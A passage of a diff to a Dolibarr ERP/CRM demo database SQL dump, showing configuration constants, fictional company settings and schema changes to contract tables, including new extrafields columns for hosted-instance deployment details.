16:57:33'),(11826,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11827,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11828,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_UNVALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11829,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11830,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11831,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_PAYED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11832,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11833,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_CANCELED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11834,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11835,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11836,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11837,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11838,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11839,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11840,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_REOPEN',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11841,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11842,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11843,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11844,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11845,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11846,'MAIN_AGENDA_ACTIONAUTO_RECEPTION_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11847,'MAIN_AGENDA_ACTIONAUTO_RECEPTION_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11848,'MAIN_AGENDA_ACTIONAUTO_MEMBER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11849,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11850,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11851,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11852,'MAIN_AGENDA_ACTIONAUTO_MEMBER_RESILIATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11853,'MAIN_AGENDA_ACTIONAUTO_MEMBER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11854,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11855,'MAIN_AGENDA_ACTIONAUTO_MEMBER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11856,'MAIN_AGENDA_ACTIONAUTO_MEMBER_EXCLUDE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11857,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11858,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11859,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11860,'MAIN_AGENDA_ACTIONAUTO_PRODUCT_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11861,'MAIN_AGENDA_ACTIONAUTO_FICHINTER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11862,'MAIN_AGENDA_ACTIONAUTO_TASK_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11863,'MAIN_AGENDA_ACTIONAUTO_TASK_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11864,'MAIN_AGENDA_ACTIONAUTO_TASK_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11865,'MAIN_AGENDA_ACTIONAUTO_CONTACT_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11866,'MAIN_AGENDA_ACTIONAUTO_CONTACT_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11867,'MAIN_AGENDA_ACTIONAUTO_CONTACT_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11868,'MAIN_AGENDA_ACTIONAUTO_CONTACT_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11869,'MAIN_AGENDA_ACTIONAUTO_PROJECT_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11870,'MAIN_AGENDA_ACTIONAUTO_PROJECT_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11871,'MAIN_AGENDA_ACTIONAUTO_PROJECT_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11872,'MAIN_AGENDA_ACTIONAUTO_PROJECT_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11873,'MAIN_AGENDA_ACTIONAUTO_PROJECT_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11874,'MAIN_AGENDA_ACTIONAUTO_TICKET_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11875,'MAIN_AGENDA_ACTIONAUTO_TICKET_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11876,'MAIN_AGENDA_ACTIONAUTO_TICKET_ASSIGNED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11877,'MAIN_AGENDA_ACTIONAUTO_TICKET_CLOSE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11878,'MAIN_AGENDA_ACTIONAUTO_TICKET_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11879,'MAIN_AGENDA_ACTIONAUTO_TICKET_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11880,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11881,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11882,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11883,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_APPROVE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11884,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_PAID',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11885,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_REPORT_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11886,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11887,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11888,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_APPROVE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11889,'MAIN_AGENDA_ACTIONAUTO_USER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11890,'MAIN_AGENDA_ACTIONAUTO_USER_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11891,'MAIN_AGENDA_ACTIONAUTO_USER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11892,'MAIN_AGENDA_ACTIONAUTO_USER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11893,'MAIN_AGENDA_ACTIONAUTO_USER_NEW_PASSWORD',1,'dolcrypt:AES-256-CTR:9eebc9ac2c57a4ec:ww==','chaine',0,'','2023-03-01 16:57:33'),(11894,'MAIN_AGENDA_ACTIONAUTO_USER_ENABLEDISABLE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11895,'MAIN_AGENDA_ACTIONAUTO_BOM_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11896,'MAIN_AGENDA_ACTIONAUTO_BOM_UNVALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11897,'MAIN_AGENDA_ACTIONAUTO_BOM_CLOSE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11898,'MAIN_AGENDA_ACTIONAUTO_BOM_REOPEN',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11899,'MAIN_AGENDA_ACTIONAUTO_BOM_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11900,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11901,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_PRODUCED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11902,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11903,'MAIN_AGENDA_ACTIONAUTO_MRP_MO_CANCEL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11904,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11905,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_CANCEL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11906,'MAIN_AGENDA_ACTIONAUTO_HOLIDAY_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11907,'MAIN_AGENDA_ACTIONAUTO_BILLREC_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11908,'MAIN_AGENDA_ACTIONAUTO_BILLREC_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11909,'MAIN_AGENDA_ACTIONAUTO_BILLREC_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11910,'MAIN_AGENDA_ACTIONAUTO_BILLREC_AUTOCREATEBILL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11911,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11912,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11913,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11914,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTJOBPOSITION_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11915,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11916,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11917,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11918,'MAIN_AGENDA_ACTIONAUTO_RECRUITMENTCANDIDATURE_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11919,'MAIN_AGENDA_ACTIONAUTO_PARTNERSHIP_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11920,'MAIN_AGENDA_ACTIONAUTO_PARTNERSHIP_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11921,'MAIN_AGENDA_ACTIONAUTO_PARTNERSHIP_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11922,'MAIN_AGENDA_ACTIONAUTO_PARTNERSHIP_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11927,'MAIN_SECURITY_FORCECSP',1,'frame-ancestors \'self\'; img-src * data:; font-src *; default-src \'self\' \'unsafe-inline\' \'unsafe-eval\' *.paypal.com *.stripe.com *.google.com *.googleapis.com *.google-analytics.com *.googletagmanager.com;','chaine',1,'','2023-03-01 21:03:49'),(11954,'MAIN_MODULE_CONCATPDF',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"6.0.3\"}','2023-03-01 22:22:12'),(11955,'MAIN_MODULE_CONCATPDF_HOOKS',1,'[\"invoicecard\",\"propalcard\",\"ordercard\",\"invoicesuppliercard\",\"ordersuppliercard\",\"supplier_proposalcard\",\"contractcard\",\"pdfgeneration\"]','chaine',0,NULL,'2023-03-01 22:22:12'),(11956,'MAIN_IHM_PARAMS_REV',1,'104','chaine',0,'','2023-03-01 22:22:12'),(11961,'MAIN_DISABLE_ALL_MAILS',1,'0','chaine',0,'','2023-03-02 09:26:23'),(11962,'MAIN_MAIL_ENABLED_USER_DEST_SELECT',1,'0','chaine',0,'','2023-03-02 09:26:23'),(11963,'MAIN_MAIL_SENDMODE',1,'smtps','chaine',0,'','2023-03-02 09:26:23'),(11964,'MAIN_MAIL_SMTP_PORT',1,'465','chaine',0,'','2023-03-02 09:26:23'),(11965,'MAIN_MAIL_SMTP_SERVER',1,'smtp.mail.com','chaine',0,'','2023-03-02 09:26:23'),(11966,'MAIN_MAIL_SMTPS_ID',1,'myemail@example.com','chaine',0,'','2023-03-15 15:18:48'),(11968,'MAIN_MAIL_SMTPS_AUTH_TYPE',1,'LOGIN','chaine',0,'','2023-03-02 09:26:23'),(11970,'MAIN_MAIL_EMAIL_TLS',1,'0','chaine',0,'','2023-03-02 09:26:23'),(11971,'MAIN_MAIL_EMAIL_STARTTLS',1,'0','chaine',0,'','2023-03-02 09:26:23'),(11972,'MAIN_MAIL_EMAIL_SMTP_ALLOW_SELF_SIGNED',1,'0','chaine',0,'','2023-03-02 09:26:23'),(11973,'MAIN_MAIL_EMAIL_FROM',1,'robot@example.com','chaine',0,'','2023-03-02 09:26:23'),(11974,'MAIN_MAIL_DEFAULT_FROMTYPE',1,'user','chaine',0,'','2023-03-02 09:26:23'),(11976,'INVOICE_USE_SITUATION',1,'1','chaine',1,'','2023-03-02 16:10:50'),(12029,'MAIN_INFO_SOCIETE_COUNTRY',1,'117:IN:Inde','chaine',0,'','2023-03-11 18:23:57'),(12030,'MAIN_INFO_SOCIETE_NOM',1,'MyBigCompany','chaine',0,'','2023-03-11 18:23:57'),(12031,'MAIN_INFO_SOCIETE_ADDRESS',1,'21 Jump street.','chaine',0,'','2023-03-11 18:23:57'),(12032,'MAIN_INFO_SOCIETE_TOWN',1,'MyTown','chaine',0,'','2023-03-11 18:23:57'),(12033,'MAIN_INFO_SOCIETE_ZIP',1,'75500','chaine',0,'','2023-03-11 18:23:57'),(12034,'MAIN_MONNAIE',1,'EUR','chaine',0,'','2023-03-11 18:23:57'),(12035,'MAIN_INFO_SOCIETE_TEL',1,'09123123','chaine',0,'','2023-03-11 18:23:57'),(12036,'MAIN_INFO_SOCIETE_FAX',1,'09123124','chaine',0,'','2023-03-11 18:23:57'),(12037,'MAIN_INFO_SOCIETE_MAIL',1,'myemail@mybigcompany.com','chaine',0,'','2023-03-11 18:23:57'),(12038,'MAIN_INFO_SOCIETE_WEB',1,'https://www.dolibarr.org','chaine',0,'','2023-03-11 18:23:57'),(12039,'MAIN_INFO_SOCIETE_NOTE',1,'This is note about my company','chaine',0,'','2023-03-11 18:23:57'),(12040,'MAIN_INFO_SOCIETE_MANAGERS',1,'Zack Zeceo','chaine',0,'','2023-03-11 18:23:57'),(12041,'MAIN_INFO_GDPR',1,'Zack Zeceo','chaine',0,'','2023-03-11 18:23:57'),(12042,'MAIN_INFO_CAPITAL',1,'10000','chaine',0,'','2023-03-11 18:23:57'),(12043,'MAIN_INFO_SOCIETE_FORME_JURIDIQUE',1,'0','chaine',0,'','2023-03-11 18:23:57'),(12044,'MAIN_INFO_SIREN',1,'123456','chaine',0,'','2023-03-11 18:23:57'),(12045,'MAIN_INFO_SIRET',1,'ABC-DEF','chaine',0,'','2023-03-11 18:23:57'),(12046,'MAIN_INFO_APE',1,'15E-45-8D','chaine',0,'','2023-03-11 18:23:57'),(12047,'MAIN_INFO_TVAINTRA',1,'FR12345678','chaine',0,'','2023-03-11 18:23:57'),(12048,'MAIN_INFO_SOCIETE_OBJECT',1,'A company demo to show how Dolibarr ERP CRM is wonderfull','chaine',0,'','2023-03-11 18:23:57'),(12049,'SOCIETE_FISCAL_MONTH_START',1,'4','chaine',0,'','2023-03-11 18:23:57'),(12050,'FACTURE_TVAOPTION',1,'1','chaine',0,'','2023-03-11 18:23:57'),(12051,'FACTURE_LOCAL_TAX1_OPTION',1,'localtax1on','chaine',0,'','2023-03-11 18:23:57'),(12052,'FACTURE_LOCAL_TAX2_OPTION',1,'localtax2on','chaine',0,'','2023-03-11 18:23:57'),(12053,'MAIN_INFO_VALUE_LOCALTAX1',1,'0','chaine',0,'','2023-03-11 18:23:57'),(12054,'MAIN_INFO_LOCALTAX_CALC1',1,'0','chaine',0,'','2023-03-11 18:23:57'),(12055,'MAIN_INFO_VALUE_LOCALTAX2',1,'0','chaine',0,'','2023-03-11 18:23:57'),(12056,'MAIN_INFO_LOCALTAX_CALC2',1,'0','chaine',0,'','2023-03-11 18:23:57'),(12058,'MAIN_UNIT_PRICE_WITH_TAX_IS_FOR_ALL_TAXES',1,'1','chaine',1,'','2023-03-11 19:19:08'),(12062,'TICKET_SHOW_COMPANY_LOGO',1,'1','chaine',0,'','2023-03-12 20:57:40'),(12071,'BANK_COLORIZE_MOVEMENT',1,'0','chaine',0,'','2023-03-13 18:57:54'),(12073,'BANK_REPORT_LAST_NUM_RELEVE',1,'0','chaine',0,'','2023-03-13 18:57:59'),(12076,'MAIN_MODULE_SETUP_ON_LIST_BY_DEFAULT',1,'commonkanban','chaine',0,'','2023-03-13 18:58:22'); /*!40000 ALTER TABLE `llx_const` ENABLE KEYS */; UNLOCK TABLES; @@ -4998,9 +4219,9 @@ DROP TABLE IF EXISTS `llx_contrat`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_contrat` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_supplier` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_supplier` varchar(50) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, @@ -5016,14 +4237,14 @@ CREATE TABLE `llx_contrat` ( `fk_user_author` int(11) NOT NULL DEFAULT 0, `fk_user_mise_en_service` int(11) DEFAULT NULL, `fk_user_cloture` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_customer` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, + `ref_customer` varchar(128) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_contrat_ref` (`ref`,`entity`), KEY `idx_contrat_fk_soc` (`fk_soc`), @@ -5039,7 +4260,7 @@ CREATE TABLE `llx_contrat` ( LOCK TABLES `llx_contrat` WRITE; /*!40000 ALTER TABLE `llx_contrat` DISABLE KEYS */; -INSERT INTO `llx_contrat` VALUES (1,'CONTRACT1',NULL,NULL,1,'2020-01-13 14:41:33','2012-07-09 01:53:25','2012-07-09 00:00:00',0,NULL,NULL,NULL,3,NULL,2,2,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,'CONTRAT1',NULL,NULL,1,'2012-07-10 16:18:16','2012-07-10 18:13:37','2012-07-10 00:00:00',1,NULL,NULL,NULL,2,NULL,2,2,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,'CT1303-0001',NULL,NULL,1,'2015-03-06 09:05:07','2015-03-06 10:04:57','2015-03-06 00:00:00',1,NULL,NULL,NULL,19,NULL,1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); +INSERT INTO `llx_contrat` VALUES (1,'CONTRACT1',NULL,NULL,1,'2020-01-13 14:41:33','2012-07-09 01:53:25','2012-07-09 00:00:00',0,NULL,NULL,NULL,3,NULL,2,2,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,'CONTRAT1',NULL,NULL,1,'2023-03-02 11:57:07','2012-07-10 18:13:37','2012-07-10 00:00:00',1,NULL,NULL,NULL,2,NULL,2,2,1,NULL,NULL,NULL,NULL,'strato',NULL,NULL,NULL,NULL,'contract/CONTRAT1/CONTRAT1.pdf'),(3,'CT1303-0001',NULL,NULL,1,'2015-03-06 09:05:07','2015-03-06 10:04:57','2015-03-06 00:00:00',1,NULL,NULL,NULL,19,NULL,1,1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_contrat` ENABLE KEYS */; UNLOCK TABLES; @@ -5054,10 +4275,63 @@ CREATE TABLE `llx_contrat_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `plan` varchar(64) DEFAULT NULL, + `deployment_init_adminpass` varchar(64) DEFAULT NULL, + `deployment_status` varchar(255) DEFAULT NULL, + `deployment_host` varchar(128) DEFAULT NULL, + `deployment_date_start` datetime DEFAULT NULL, + `deployment_date_end` datetime DEFAULT NULL, + `deployment_ip` varchar(128) DEFAULT NULL, + `deployment_vpn_proba` double(8,4) DEFAULT NULL, + `deployment_ipquality` varchar(255) DEFAULT NULL, + `deployment_emailquality` varchar(255) DEFAULT NULL, + `deployment_ua` varchar(255) DEFAULT NULL, + `date_softalert_endfreeperiod` datetime DEFAULT NULL, + `date_endfreeperiod` datetime DEFAULT NULL, + `undeployment_date` datetime DEFAULT NULL, + `undeployment_ip` varchar(128) DEFAULT NULL, + `custom_url` varchar(128) DEFAULT NULL, + `custom_virtualhostline` varchar(255) DEFAULT NULL, + `custom_virtualhostdir` varchar(255) DEFAULT NULL, + `hostname_os` varchar(128) DEFAULT NULL, + `username_os` varchar(32) DEFAULT NULL, + `password_os` varchar(32) DEFAULT NULL, + `sshaccesstype` varchar(255) DEFAULT NULL, + `hostname_db` varchar(128) DEFAULT NULL, + `database_db` varchar(32) DEFAULT NULL, + `port_db` varchar(8) DEFAULT NULL, + `username_db` varchar(32) DEFAULT NULL, + `password_db` varchar(64) DEFAULT NULL, + `username_ro_db` varchar(32) DEFAULT NULL, + `password_ro_db` varchar(64) DEFAULT NULL, + `prefix_db` varchar(64) DEFAULT NULL, + `timezone` varchar(64) DEFAULT NULL, + `fileauthorizekey` datetime DEFAULT NULL, + `filelock` datetime DEFAULT NULL, + `fileinstallmoduleslock` datetime DEFAULT NULL, + `latestresupdate_date` datetime DEFAULT NULL, + `latestbackup_date` datetime DEFAULT NULL, + `latestbackup_date_ok` datetime DEFAULT NULL, + `latestbackup_status` varchar(2) DEFAULT NULL, + `latestbackup_message` text DEFAULT NULL, + `backup_frequency` int(3) DEFAULT 1, + `maxperday` int(6) DEFAULT NULL, + `cookieregister_counter` int(10) DEFAULT NULL, + `cookieregister_previous_instance` varchar(128) DEFAULT NULL, + `discountcode` varchar(255) DEFAULT NULL, + `suspendmaintenance_message` varchar(255) DEFAULT NULL, + `commentonqty` text DEFAULT NULL, + `spammer` varchar(8) DEFAULT NULL, + `reasonundeploy` varchar(255) DEFAULT NULL, + `commentundeploy` text DEFAULT NULL, PRIMARY KEY (`rowid`), + UNIQUE KEY `uk_contrat_extrafields_username_os` (`username_os`), + UNIQUE KEY `uk_contrat_extrafields_database_db` (`database_db`), + UNIQUE KEY `uk_contrat_extrafields_username_db` (`username_db`), + UNIQUE KEY `uk_contrat_extrafields_username_ro_db` (`username_ro_db`), KEY `idx_contrat_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -5066,6 +4340,7 @@ CREATE TABLE `llx_contrat_extrafields` ( LOCK TABLES `llx_contrat_extrafields` WRITE; /*!40000 ALTER TABLE `llx_contrat_extrafields` DISABLE KEYS */; +INSERT INTO `llx_contrat_extrafields` VALUES (1,'2023-01-19 12:39:56',2,NULL,NULL,NULL,'done',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_contrat_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -5082,8 +4357,8 @@ CREATE TABLE `llx_contratdet` ( `fk_contrat` int(11) NOT NULL, `fk_product` int(11) DEFAULT NULL, `statut` smallint(6) DEFAULT 0, - `label` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` text DEFAULT NULL, + `description` text DEFAULT NULL, `fk_remise_except` int(11) DEFAULT NULL, `date_commande` datetime DEFAULT NULL, `date_ouverture_prevue` datetime DEFAULT NULL, @@ -5091,11 +4366,11 @@ CREATE TABLE `llx_contratdet` ( `date_fin_validite` datetime DEFAULT NULL, `date_cloture` datetime DEFAULT NULL, `tva_tx` double(6,3) DEFAULT 0.000, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double NOT NULL, `remise_percent` double DEFAULT 0, `subprice` double(24,8) DEFAULT 0.00000000, @@ -5114,10 +4389,10 @@ CREATE TABLE `llx_contratdet` ( `fk_user_author` int(11) NOT NULL DEFAULT 0, `fk_user_ouverture` int(11) DEFAULT NULL, `fk_user_cloture` int(11) DEFAULT NULL, - `commentaire` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `commentaire` text DEFAULT NULL, `fk_unit` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -5141,7 +4416,7 @@ CREATE TABLE `llx_contratdet` ( LOCK TABLES `llx_contratdet` WRITE; /*!40000 ALTER TABLE `llx_contratdet` DISABLE KEYS */; -INSERT INTO `llx_contratdet` VALUES (2,'2012-07-10 16:14:14',2,NULL,0,'','Abonnement annuel 